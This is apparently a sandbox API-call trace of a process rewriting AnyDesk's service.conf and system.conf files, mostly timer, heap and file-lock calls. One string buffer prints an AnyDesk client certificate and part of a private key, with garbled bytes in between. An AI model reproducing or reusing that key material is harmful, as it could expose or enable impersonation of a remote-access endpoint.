GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7a3b4 | out: lpSystemTimeAsFileTime=0x2a7a3b4*(dwLowDateTime=0x8e224ed0, dwHighDateTime=0x1d8a8f3)) [0193.748] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8e224ed0, dwHighDateTime=0x1d8a8f3)) [0193.751] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7a3b4 | out: lpSystemTimeAsFileTime=0x2a7a3b4*(dwLowDateTime=0x8e224ed0, dwHighDateTime=0x1d8a8f3)) [0193.753] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8e224ed0, dwHighDateTime=0x1d8a8f3)) [0193.756] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7a3b4 | out: lpSystemTimeAsFileTime=0x2a7a3b4*(dwLowDateTime=0x8e224ed0, dwHighDateTime=0x1d8a8f3)) [0193.757] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8e224ed0, dwHighDateTime=0x1d8a8f3)) [0193.762] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7a3b4 | out: lpSystemTimeAsFileTime=0x2a7a3b4*(dwLowDateTime=0x8e24b030, dwHighDateTime=0x1d8a8f3)) [0193.763] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8e24b030, dwHighDateTime=0x1d8a8f3)) [0193.767] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7a3b4 | out: lpSystemTimeAsFileTime=0x2a7a3b4*(dwLowDateTime=0x8e24b030, dwHighDateTime=0x1d8a8f3)) [0193.769] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8e24b030, dwHighDateTime=0x1d8a8f3)) [0193.772] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7a3b4 | out: lpSystemTimeAsFileTime=0x2a7a3b4*(dwLowDateTime=0x8e24b030, dwHighDateTime=0x1d8a8f3)) [0193.774] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8e24b030, dwHighDateTime=0x1d8a8f3)) [0193.778] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7a3b4 | out: lpSystemTimeAsFileTime=0x2a7a3b4*(dwLowDateTime=0x8e271190, dwHighDateTime=0x1d8a8f3)) [0193.779] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8e271190, dwHighDateTime=0x1d8a8f3)) [0193.783] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7a3b4 | out: lpSystemTimeAsFileTime=0x2a7a3b4*(dwLowDateTime=0x8e271190, dwHighDateTime=0x1d8a8f3)) [0193.784] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8e271190, dwHighDateTime=0x1d8a8f3)) [0193.788] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7a3b4 | out: lpSystemTimeAsFileTime=0x2a7a3b4*(dwLowDateTime=0x8e271190, dwHighDateTime=0x1d8a8f3)) [0193.789] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8e271190, dwHighDateTime=0x1d8a8f3)) [0193.793] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7a3b4 | out: lpSystemTimeAsFileTime=0x2a7a3b4*(dwLowDateTime=0x8e2972f0, dwHighDateTime=0x1d8a8f3)) [0193.794] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8e2972f0, dwHighDateTime=0x1d8a8f3)) [0193.798] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7a3b4 | out: lpSystemTimeAsFileTime=0x2a7a3b4*(dwLowDateTime=0x8e2972f0, dwHighDateTime=0x1d8a8f3)) [0193.799] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8e2972f0, dwHighDateTime=0x1d8a8f3)) [0193.803] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7a3b4 | out: lpSystemTimeAsFileTime=0x2a7a3b4*(dwLowDateTime=0x8e2972f0, dwHighDateTime=0x1d8a8f3)) [0193.804] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8e2972f0, dwHighDateTime=0x1d8a8f3)) [0193.807] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7a3b4 | out: lpSystemTimeAsFileTime=0x2a7a3b4*(dwLowDateTime=0x8e2bd450, dwHighDateTime=0x1d8a8f3)) [0193.808] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8e2bd450, dwHighDateTime=0x1d8a8f3)) [0193.812] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7a3b4 | out: lpSystemTimeAsFileTime=0x2a7a3b4*(dwLowDateTime=0x8e2bd450, dwHighDateTime=0x1d8a8f3)) [0193.813] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8e2bd450, dwHighDateTime=0x1d8a8f3)) [0193.817] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7a3b4 | out: lpSystemTimeAsFileTime=0x2a7a3b4*(dwLowDateTime=0x8e2bd450, dwHighDateTime=0x1d8a8f3)) [0193.818] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8e2bd450, dwHighDateTime=0x1d8a8f3)) [0193.822] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7a3b4 | out: lpSystemTimeAsFileTime=0x2a7a3b4*(dwLowDateTime=0x8e2e35b0, dwHighDateTime=0x1d8a8f3)) [0193.823] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8e2e35b0, dwHighDateTime=0x1d8a8f3)) [0193.827] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7a3b4 | out: lpSystemTimeAsFileTime=0x2a7a3b4*(dwLowDateTime=0x8e2e35b0, dwHighDateTime=0x1d8a8f3)) [0193.828] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8e2e35b0, dwHighDateTime=0x1d8a8f3)) [0193.832] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7a3b4 | out: lpSystemTimeAsFileTime=0x2a7a3b4*(dwLowDateTime=0x8e2e35b0, dwHighDateTime=0x1d8a8f3)) [0193.833] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8e2e35b0, dwHighDateTime=0x1d8a8f3)) [0193.836] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7a3b4 | out: lpSystemTimeAsFileTime=0x2a7a3b4*(dwLowDateTime=0x8e2e35b0, dwHighDateTime=0x1d8a8f3)) [0193.839] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8e309710, dwHighDateTime=0x1d8a8f3)) [0193.843] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7a3b4 | out: lpSystemTimeAsFileTime=0x2a7a3b4*(dwLowDateTime=0x8e309710, dwHighDateTime=0x1d8a8f3)) [0193.844] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8e309710, dwHighDateTime=0x1d8a8f3)) [0193.848] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7a3b4 | out: lpSystemTimeAsFileTime=0x2a7a3b4*(dwLowDateTime=0x8e309710, dwHighDateTime=0x1d8a8f3)) [0193.849] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8e309710, dwHighDateTime=0x1d8a8f3)) [0193.853] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7a3b4 | out: lpSystemTimeAsFileTime=0x2a7a3b4*(dwLowDateTime=0x8e32f870, dwHighDateTime=0x1d8a8f3)) [0193.854] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8e32f870, dwHighDateTime=0x1d8a8f3)) [0193.857] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7a3b4 | out: lpSystemTimeAsFileTime=0x2a7a3b4*(dwLowDateTime=0x8e32f870, dwHighDateTime=0x1d8a8f3)) [0193.858] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8e32f870, dwHighDateTime=0x1d8a8f3)) [0193.861] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8e32f870, dwHighDateTime=0x1d8a8f3)) [0193.863] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8e32f870, dwHighDateTime=0x1d8a8f3)) [0193.863] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8e32f870, dwHighDateTime=0x1d8a8f3)) [0193.863] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8e32f870, dwHighDateTime=0x1d8a8f3)) [0193.866] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8e32f870, dwHighDateTime=0x1d8a8f3)) [0193.866] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8e32f870, dwHighDateTime=0x1d8a8f3)) [0193.869] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8e3559d0, dwHighDateTime=0x1d8a8f3)) [0193.872] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b4fc | out: lpSystemTimeAsFileTime=0x2a7b4fc*(dwLowDateTime=0x8e3559d0, dwHighDateTime=0x1d8a8f3)) [0193.873] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b4fc | out: lpSystemTimeAsFileTime=0x2a7b4fc*(dwLowDateTime=0x8e3559d0, dwHighDateTime=0x1d8a8f3)) [0193.874] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b1fc | out: lpSystemTimeAsFileTime=0x2a7b1fc*(dwLowDateTime=0x8e3559d0, dwHighDateTime=0x1d8a8f3)) [0193.882] CreateFileW (lpFileName="C:\\ProgramData\\AnyDesk\\service.conf" (normalized: "c:\\programdata\\anydesk\\service.conf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0193.883] LockFileEx (in: hFile=0x20c, dwFlags=0x2, dwReserved=0x0, nNumberOfBytesToLockLow=0xffffffff, nNumberOfBytesToLockHigh=0xffffffff, lpOverlapped=0x2a7b418 | out: lpOverlapped=0x2a7b418) returned 1 [0193.884] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.884] SetEndOfFile (hFile=0x20c) returned 1 [0193.886] WriteFile (in: hFile=0x20c, lpBuffer=0xe4d880*, nNumberOfBytesToWrite=0x6d4, lpNumberOfBytesWritten=0x2a7b3d8, lpOverlapped=0x0 | out: lpBuffer=0xe4d880*, lpNumberOfBytesWritten=0x2a7b3d8*=0x6d4, lpOverlapped=0x0) returned 1 [0193.888] UnlockFileEx (in: hFile=0x20c, dwReserved=0x0, nNumberOfBytesToUnlockLow=0xffffffff, nNumberOfBytesToUnlockHigh=0xffffffff, lpOverlapped=0x2a7b3b0 | out: lpOverlapped=0x2a7b3b0) returned 1 [0193.888] CloseHandle (hObject=0x20c) returned 1 [0193.890] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe2f718 | out: hHeap=0x3b0000) returned 1 [0193.890] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe33738 [0193.891] GetCurrentThreadId () returned 0xa0c [0193.891] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4a9a0 | out: hHeap=0x3b0000) returned 1 [0193.891] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x40) returned 0xe10ab0 [0193.891] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xc) returned 0xe37238 [0193.891] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2c0) returned 0xe49d00 [0193.891] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe37148 [0193.891] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0xe11640 [0193.891] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe37148 | out: hHeap=0x3b0000) returned 1 [0193.891] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2000) returned 0xe4d1c0 [0193.891] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4e4) returned 0xe4a9a0 [0193.892] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe11640 | out: hHeap=0x3b0000) returned 1 [0193.892] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4d1c0 | out: hHeap=0x3b0000) returned 1 [0193.892] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe49d00 | out: hHeap=0x3b0000) returned 1 [0193.892] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x3e8) returned 0xe49288 [0193.893] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4a9a0 | out: hHeap=0x3b0000) returned 1 [0193.893] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe37238 | out: hHeap=0x3b0000) returned 1 [0193.893] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe10ab0 | out: hHeap=0x3b0000) returned 1 [0193.893] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xe49298, cbMultiByte=981, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 981 [0193.893] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x7ac) returned 0xe4a9a0 [0193.893] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xe49298, cbMultiByte=981, lpWideCharStr=0xe4a9a0, cchWideChar=982 | out: lpWideCharStr="-----BEGIN CERTIFICATE-----\nMIICqDCCAZACAQEwDQYJKoZIhvcNAQELBQAwGTEXMBUGA1UEAwwOQW55RGVzayBD\nbGllbnQwIBcNMjIwODA1MTc0ODIyWhgPMjA3MjA3MjMxNzQ4MjJaMBkxFzAVBgNV\nBAMMDkFueURlc2sgQ2xpZW50MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC\nAQEAoPovzJS9dgfgGwtrhPht7XdT85M4TiPyi7SesHHcrdlEAXfQ46fz1flCiD1/\nzuNfst+7mrggrAE7Qk+Zcd/VcC7OQ9bmFnxZsfwDEeDLdMiPrz1ZwOYgQ0Zi+DoJ\ntGCpJIpd5JuHYNj1IHF3tYt54cHLdAJMtWejVvX9G57TErKwtQ561t8sxqEKPFte\nFLuhBA9Pk/ZgSwiQPBKY02J3zPip4Uc63gXKF1Zav8VN2UarQdgTHpXIRp07Qtbz\nrXn4NECZV/5dWxHe95zvY8AIX+15BRm07i8EhuUkGXAPUUAVp+TBs80AuFBBkLrT\nLAqSrR35Rc3PJPmPIoZtggf9qQIDAQABMA0GCSqGSIb3DQEBCwUAA4IBAQBeiD9m\nZL7/APvs0tXI6j4KL1DRAYjWeGA9VinXZYobEfNyyk6FYuy62LJCwEu6DgKLz/6K\n+rfjE6RfnA1RXRe8tfFFNSMnhF6GUHk9Mm1geo2BKOrEbnSdb+QH8kE2qvHv+E50\nvPHA48acO2GrxYVRtK4YFpXOmwMnQHj+5abnol5xFgUzzS2nD2LCSdmuf+zk543l\nwkm1arZpq74Ti/kr88MNKceE8ZLJIUHnwfwbDXlPuqfJy18i35d130JNDUv6XR9T\nwcCKGjyKHHTKUntZ55MwjlBW/iMD2Y3vG6r16dDvnpEWr/dFTTFMOdELXeSWgpI1\nQAytK30fPh4/PsHI\n-----END CERTIFICATE-----\nt93ે믹ꀸ\x05퇀ä鴀äqLDNWUAXDN\nRdTWlh+xGykOmCs/qY1yn71pRtVosYkUZTH7LGEDNrapWjRiJ1X1djbQBLdzA594\n5zlCjFVDpYd63x8+pZu5mPmXtgG5umzZkAbIRWYO9dW9cOmWACSmThUhuNCJEQbu\ntZp3OHKscwKBgQCNhRJMqRfKs7Y5p1bYxZSspjC/7wXZqrO10VIhGHb4rhKRjXm0\nyqYZmTex9BCxv3Xg38xkXuPZ60FZpMWjCWVSlJSbM2M2R9K+p8Pq764+wSzTMIbj\nusTZIxVrlsSwO1N5R2xcSP5IfFn+X2Uprcp6BG4H6FvSa4DhO2p4LE2l0QKBgC9S\nWgwanGJAVjjzuSfHMO0br5EZBibxzy2gSPtzQyNQfF30GuVa6rUBqHGVIPC5xJEG\nsI0+58igVjdl4SWqmeAgItygvVYWWn8ZP73Sl3aciO6ge+NdOOg2WNKcpfqBFjoX\n7/2Edzi3H5qFa4ajsetEAJtHVSss1rmXnuKIQ/8RAoGBAJL3EVTt0alBGRdeeLbn\nR7N9Dmqvz8UMuL8k51+2t0tNmrrzNDv1fCjQX912oN5PgFnIG30fg7tVZPhkCo5G\nZO0gCkEO0IApmYQcdSCCtDJYHAessvau3k1q4tcI3BlL7LgDJ5mVWH2/PNalztK/\npNvlzErOkV5fOASeklpwOlTi\n-----END PRIVATE KEY-----\n") returned 981 [0193.893] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe49288 | out: hHeap=0x3b0000) returned 1 [0193.893] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe47c10 | out: hHeap=0x3b0000) returned 1 [0193.894] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x7ac) returned 0xe4d1c0 [0193.894] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe47c10 [0193.894] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe33758 [0193.894] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1e) returned 0xe11640 [0193.894] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe47c10 | out: hHeap=0x3b0000) returned 1 [0193.894] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x7ac) returned 0xe4d978 [0193.894] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x48) returned 0xe2f718 [0193.894] GetTickCount () returned 0x1880ae0 [0193.894] CreateFileW (lpFileName="C:\\ProgramData\\AnyDesk\\service.conf" (normalized: "c:\\programdata\\anydesk\\service.conf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0193.894] LockFileEx (in: hFile=0x20c, dwFlags=0x2, dwReserved=0x0, nNumberOfBytesToLockLow=0xffffffff, nNumberOfBytesToLockHigh=0xffffffff, lpOverlapped=0x2a7b418 | out: lpOverlapped=0x2a7b418) returned 1 [0193.895] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe37238 [0193.895] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1e) returned 0xe11668 [0193.895] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe37148 [0193.895] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1e) returned 0xe11690 [0193.895] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xa9d) returned 0xe4e130 [0193.895] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x7ce) returned 0xe4ebd8 [0193.895] GetLastError () returned 0xb7 [0193.895] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.895] SetEndOfFile (hFile=0x20c) returned 1 [0193.896] WriteFile (in: hFile=0x20c, lpBuffer=0xe4ebd8*, nNumberOfBytesToWrite=0xaca, lpNumberOfBytesWritten=0x2a7b3d8, lpOverlapped=0x0 | out: lpBuffer=0xe4ebd8*, lpNumberOfBytesWritten=0x2a7b3d8*=0xaca, lpOverlapped=0x0) returned 1 [0193.898] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ebd8 | out: hHeap=0x3b0000) returned 1 [0193.898] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe11690 | out: hHeap=0x3b0000) returned 1 [0193.898] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe37148 | out: hHeap=0x3b0000) returned 1 [0193.898] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe11668 | out: hHeap=0x3b0000) returned 1 [0193.898] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe37238 | out: hHeap=0x3b0000) returned 1 [0193.898] UnlockFileEx (in: hFile=0x20c, dwReserved=0x0, nNumberOfBytesToUnlockLow=0xffffffff, nNumberOfBytesToUnlockHigh=0xffffffff, lpOverlapped=0x2a7b3b0 | out: lpOverlapped=0x2a7b3b0) returned 1 [0193.898] CloseHandle (hObject=0x20c) returned 1 [0193.900] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe2f718 | out: hHeap=0x3b0000) returned 1 [0193.900] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe33778 [0193.900] GetCurrentThreadId () returned 0xa0c [0193.900] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4a9a0 | out: hHeap=0x3b0000) returned 1 [0193.900] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x27) returned 0xe32f58 [0193.900] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2ac) returned 0xe49d00 [0193.900] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0193.901] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0193.901] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe49d00 | out: hHeap=0x3b0000) returned 1 [0193.901] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1000) returned 0xe4e130 [0193.901] GetLastError () returned 0xb7 [0193.901] CreateFileW (lpFileName="C:\\ProgramData\\AnyDesk\\system.conf" (normalized: "c:\\programdata\\anydesk\\system.conf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0193.902] LockFileEx (in: hFile=0x20c, dwFlags=0x2, dwReserved=0x0, nNumberOfBytesToLockLow=0xffffffff, nNumberOfBytesToLockHigh=0xffffffff, lpOverlapped=0x2a7b418 | out: lpOverlapped=0x2a7b418) returned 1 [0193.902] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe37238 [0193.902] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4a) returned 0xe12c58 [0193.902] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe37148 [0193.902] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x72) returned 0xe25718 [0193.902] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe37310 [0193.902] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x86) returned 0xe0b2d0 [0193.902] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe37358 [0193.902] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x30) returned 0xe0f678 [0193.902] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe48a90 [0193.902] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x50) returned 0xe120a8 [0193.902] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe48aa8 [0193.902] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x36) returned 0xe32238 [0193.902] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe48ac0 [0193.902] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x3e) returned 0xe10ab0 [0193.902] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe48ad8 [0193.902] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4e) returned 0xe11ff8 [0193.902] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe48af0 [0193.902] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1c) returned 0xe11690 [0193.902] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x18e) returned 0xe49800 [0193.902] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x52) returned 0xe155a0 [0193.902] GetLastError () returned 0xb7 [0193.903] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.903] SetEndOfFile (hFile=0x20c) returned 1 [0193.904] WriteFile (in: hFile=0x20c, lpBuffer=0xe49800*, nNumberOfBytesToWrite=0x18e, lpNumberOfBytesWritten=0x2a7b3d8, lpOverlapped=0x0 | out: lpBuffer=0xe49800*, lpNumberOfBytesWritten=0x2a7b3d8*=0x18e, lpOverlapped=0x0) returned 1 [0193.905] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe49800 | out: hHeap=0x3b0000) returned 1 [0193.905] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe11690 | out: hHeap=0x3b0000) returned 1 [0193.905] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe48af0 | out: hHeap=0x3b0000) returned 1 [0193.905] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe10ab0 | out: hHeap=0x3b0000) returned 1 [0193.905] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe48ac0 | out: hHeap=0x3b0000) returned 1 [0193.906] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe12c58 | out: hHeap=0x3b0000) returned 1 [0193.906] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe37238 | out: hHeap=0x3b0000) returned 1 [0193.906] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe11ff8 | out: hHeap=0x3b0000) returned 1 [0193.906] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe48ad8 | out: hHeap=0x3b0000) returned 1 [0193.906] 